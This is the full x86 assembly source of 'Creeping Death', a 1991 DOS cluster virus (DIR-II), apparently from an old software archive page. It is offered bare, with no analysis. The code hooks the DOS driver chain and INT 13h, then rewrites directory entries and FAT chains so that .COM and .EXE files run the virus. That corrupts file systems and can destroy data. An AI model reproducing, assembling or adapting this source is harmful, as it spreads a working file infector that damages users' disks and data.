home *** CD-ROM | disk | FTP | other *** search
- ; Creeping Death V 1.0
-
- ;
-
- ; (C) Copyright 1991 by VirusSoft Corp.
-
-
-
- i13org = 5f8h
-
- i21org = 5fch
-
-
-
- org 100h
-
-
-
- mov sp,600h
-
- inc counter
-
- xor cx,cx
-
- mov ds,cx
-
- lds ax,[0c1h]
-
- add ax,21h
-
- push ds
-
- push ax
-
- mov ah,30h
-
- call jump
-
- cmp al,4
-
- sbb si,si
-
- mov drive+2,byte ptr -1
-
- mov bx,60h
-
- mov ah,4ah
-
- call jump
-
-
-
- mov ah,52h
-
- call jump
-
- push es:[bx-2]
-
- lds bx,es:[bx]
-
-
-
- search: mov ax,[bx+si+15h]
-
- cmp ax,70h
-
- jne next
-
- xchg ax,cx
-
- mov [bx+si+18h],byte ptr -1
-
- mov di,[bx+si+13h]
-
- mov [bx+si+13h],offset header
-
- mov [bx+si+15h],cs
-
- next: lds bx,[bx+si+19h]
-
- cmp bx,-1
-
- jne search
-
- jcxz install
-
-
-
- pop ds
-
- mov ax,ds
-
- add ax,[3]
-
- inc ax
-
- mov dx,cs
-
- dec dx
-
- cmp ax,dx
-
- jne no_boot
-
- add [3],61h
-
- no_boot: mov ds,dx
-
- mov [1],8
-
-
-
- mov ds,cx
-
- les ax,[di+6]
-
- mov cs:str_block,ax
-
- mov cs:int_block,es
-
-
-
- cld
-
- mov si,1
-
- scan: dec si
-
- lodsw
-
- cmp ax,1effh
-
- jne scan
-
- mov ax,2cah
-
- cmp [si+4],ax
-
- je right
-
- cmp [si+5],ax
-
- jne scan
-
- right: lodsw
-
- push cs
-
- pop es
-
- mov di,offset modify+1
-
- stosw
-
- xchg ax,si
-
- mov di,offset i13org
-
- cli
-
- movsw
-
- movsw
-
-
-
- mov dx,0c000h
-
- fdsk1: mov ds,dx
-
- xor si,si
-
- lodsw
-
- cmp ax,0aa55h
-
- jne fdsk4
-
- cbw
-
- lodsb
-
- mov cl,9
-
- sal ax,cl
-
- fdsk2: cmp [si],6c7h
-
- jne fdsk3
-
- cmp [si+2],4ch
-
- jne fdsk3
-
- push dx
-
- push [si+4]
-
- jmp short death
-
- install: int 20h
-
- file: db "c:",255,0
-
- fdsk3: inc si
-
- cmp si,ax
-
- jb fdsk2
-
- fdsk4: inc dx
-
- cmp dh,0f0h
-
- jb fdsk1
-
-
-
- sub sp,4
-
- death: push cs
-
- pop ds
-
- mov bx,[2ch]
-
- mov es,bx
-
- mov ah,49h
-
- call jump
-
- xor ax,ax
-
- test bx,bx
-
- jz boot
-
- mov di,1
-
- seek: dec di
-
- scasw
-
- jne seek
-
- lea si,[di+2]
-
- jmp short exec
-
- boot: mov es,[16h]
-
- mov bx,es:[16h]
-
- dec bx
-
- xor si,si
-
- exec: push bx
-
- mov bx,offset param
-
- mov [bx+4],cs
-
- mov [bx+8],cs
-
- mov [bx+12],cs
-
- pop ds
-
- push cs
-
- pop es
-
-
-
- mov di,offset f_name
-
- push di
-
- mov cx,40
-
- rep movsw
-
- push cs
-
- pop ds
-
-
-
- mov ah,3dh
-
- mov dx,offset file
-
- call jump
-
- pop dx
-
-
-
- mov ax,4b00h
-
- call jump
-
- mov ah,4dh
-
- call jump
-
- mov ah,4ch
-
-
-
- jump: pushf
-
- call dword ptr cs:[i21org]
-
- ret
-
-
-
-
-
- ;--------Installation complete
-
-
-
- i13pr: mov ah,3
-
- jmp dword ptr cs:[i13org]
-
-
-
-
-
- main: push ax ; driver
-
- push cx ; strategy block
-
- push dx
-
- push ds
-
- push si
-
- push di
-
-
-
- push es
-
- pop ds
-
- mov al,[bx+2]
-
-
-
- cmp al,4 ; Input
-
- je input
-
- cmp al,8
-
- je output
-
- cmp al,9
-
- je output
-
-
-
- call in
-
- cmp al,2 ; Build BPB
-
- jne ppp ;
-
- lds si,[bx+12h]
-
- mov di,offset bpb_buf
-
- mov es:[bx+12h],di
-
- mov es:[bx+14h],cs
-
- push es
-
- push cs
-
- pop es
-
- mov cx,16
-
- rep movsw
-
- pop es
-
- push cs
-
- pop ds
-
- mov al,[di+2-32]
-
- cmp al,2
-
- adc al,0
-
- cbw
-
- cmp [di+8-32],0
-
- je m32
-
- sub [di+8-32],ax
-
- jmp short ppp
-
- m32: sub [di+15h-32],ax
-
- sbb [di+17h-32],0
-
-
-
- ppp: pop di
-
- pop si
-
- pop ds
-
- pop dx
-
- pop cx
-
- pop ax
-
- rts: retf
-
-
-
- output: mov cx,0ff09h
-
- call check
-
- jz inf_sec
-
- call in
-
- jmp short inf_dsk
-
-
-
- inf_sec: jmp _inf_sec
-
- read: jmp _read
-
- read_: add sp,16
-
- jmp short ppp
-
-
-
- input: call check
-
- jz read
-
- inf_dsk: mov byte ptr [bx+2],4
-
- cld
-
- lea si,[bx+0eh]
-
- mov cx,8
-
- save: lodsw
-
- push ax
-
- loop save
-
- mov [bx+14h],1
-
- call driver
-
- jnz read_
-
- mov byte ptr [bx+2],2
-
- call in
-
- lds si,[bx+12h]
-
- mov ax,[si+6]
-
- add ax,15
-
- mov cl,4
-
- shr ax,cl
-
- mov di,[si+0bh]
-
- add di,di
-
- stc
-
- adc di,ax
-
- push di
-
- cwd
-
- mov ax,[si+8]
-
- test ax,ax
-
- jnz more
-
- mov ax,[si+15h]
-
- mov dx,[si+17h]
-
- more: xor cx,cx
-
- sub ax,di
-
- sbb dx,cx
-
- mov cl,[si+2]
-
- div cx
-
- cmp cl,2
-
- sbb ax,-1
-
- push ax
-
- call convert
-
- mov byte ptr es:[bx+2],4
-
- mov es:[bx+14h],ax
-
- call driver
-
- again: lds si,es:[bx+0eh]
-
- add si,dx
-
- sub dh,cl
-
- adc dx,ax
-
- mov cs:gad+1,dx
-
- cmp cl,1
-
- je small
-
- mov ax,[si]
-
- and ax,di
-
- cmp ax,0fff7h
-
- je bad
-
- cmp ax,0ff7h
-
- je bad
-
- cmp ax,0ff70h
-
- jne ok
-
- bad: pop ax
-
- dec ax
-
- push ax
-
- call convert
-
- jmp short again
-
- small: not di
-
- and [si],di
-
- pop ax
-
- push ax
-
- inc ax
-
- push ax
-
- mov dx,0fh
-
- test di,dx
-
- jz here
-
- inc dx
-
- mul dx
-
- here: or [si],ax
-
- pop ax
-
- call convert
-
- mov si,es:[bx+0eh]
-
- add si,dx
-
- mov ax,[si]
-
- and ax,di
-
- ok: mov dx,di
-
- dec dx
-
- and dx,di
-
- not di
-
- and [si],di
-
- or [si],dx
-
-
-
- cmp ax,dx
-
- pop ax
-
- pop di
-
- mov cs:pointer+1,ax
-
- je _read_
-
- mov dx,[si]
-
- push ds
-
- push si
-
- call write
-
- pop si
-
- pop ds
-
- jnz _read_
-
- call driver
-
- cmp [si],dx
-
- jne _read_
-
- dec ax
-
- dec ax
-
- mul cx
-
- add ax,di
-
- adc dx,0
-
- push es
-
- pop ds
-
- mov [bx+12h],2
-
- mov [bx+14h],ax
-
- test dx,dx
-
- jz less
-
- mov [bx+14h],-1
-
- mov [bx+1ah],ax
-
- mov [bx+1ch],dx
-
- less: mov [bx+10h],cs
-
- mov [bx+0eh],100h
-
- call write
-
-
-
- _read_: std
-
- lea di,[bx+1ch]
-
- mov cx,8
-
- load: pop ax
-
- stosw
-
- loop load
-
- _read: call in
-
-
-
- mov cx,9
-
- _inf_sec:
-
- mov di,es:[bx+12h]
-
- lds si,es:[bx+0eh]
-
- sal di,cl
-
- xor cl,cl
-
- add di,si
-
- xor dl,dl
-
- push ds
-
- push si
-
- call find
-
- jcxz no_inf
-
- call write
-
- and es:[bx+4],byte ptr 07fh
-
- no_inf: pop si
-
- pop ds
-
- inc dx
-
- call find
-
- jmp ppp
-
-
-
- ;--------Subroutines
-
-
-
- find: mov ax,[si+8]
-
- cmp ax,"XE"
-
- jne com
-
- cmp [si+10],al
-
- je found
-
- com: cmp ax,"OC"
-
- jne go_on
-
- cmp byte ptr [si+10],"M"
-
- jne go_on
-
- found: test [si+1eh],0ffc0h ; >4MB
-
- jnz go_on
-
- test [si+1dh],03ff8h ; <2048B
-
- jz go_on
-
- test [si+0bh],byte ptr 1ch
-
- jnz go_on
-
- test dl,dl
-
- jnz rest
-
- pointer: mov ax,1234h
-
- cmp ax,[si+1ah]
-
- je go_on
-
- xchg ax,[si+1ah]
-
- gad: xor ax,1234h
-
- mov [si+14h],ax
-
- loop go_on
-
- rest: xor ax,ax
-
- xchg ax,[si+14h]
-
- xor ax,cs:gad+1
-
- mov [si+1ah],ax
-
- go_on: ;rol cs:gad+1,1
-
- db 2eh,0d1h,6
-
- dw offset gad+1
-
- add si,32
-
- cmp di,si
-
- jne find
-
- ret
-
-
-
- check: mov ah,[bx+1]
-
- drive: cmp ah,-1
-
- mov cs:[drive+2],ah
-
- jne changed
-
- push [bx+0eh]
-
- mov byte ptr [bx+2],1
-
- call in
-
- cmp byte ptr [bx+0eh],1
-
- pop [bx+0eh]
-
- mov [bx+2],al
-
- changed: ret
-
-
-
- write: cmp byte ptr es:[bx+2],8
-
- jae in
-
- mov byte ptr es:[bx+2],4
-
- mov si,70h
-
- mov ds,si
-
- modify: mov si,1234h
-
- push [si]
-
- push [si+2]
-
- mov [si],offset i13pr
-
- mov [si+2],cs
-
- call in
-
- pop [si+2]
-
- pop [si]
-
- ret
-
-
-
- driver: mov es:[bx+12h],1
-
- in:
-
- db 09ah
-
- str_block:
-
- dw ?,70h
-
- db 09ah
-
- int_block:
-
- dw ?,70h
-
- test es:[bx+4],byte ptr 80h
-
- ret
-
-
-
- convert: cmp ax,0ff0h
-
- jae fat_16
-
- mov si,3
-
- xor cs:[si+gad-1],si
-
- mul si
-
- shr ax,1
-
- mov di,0fffh
-
- jnc cont
-
- mov di,0fff0h
-
- jmp short cont
-
- fat_16: mov si,2
-
- mul si
-
- mov di,0ffffh
-
- cont: mov si,512
-
- div si
-
- header: inc ax
-
- ret
-
-
-
- counter: dw 0
-
-
-
- dw 842h
-
- dw offset main
-
- dw offset rts
-
- db 7fh
-
-
-
- param: dw 0,80h,?,5ch,?,6ch,?
-
-
-
- bpb_buf: db 32 dup(?)
-
- f_name: db 80 dup(?)
-
-
-
- ;--------The End.
-
-
-
- MsDos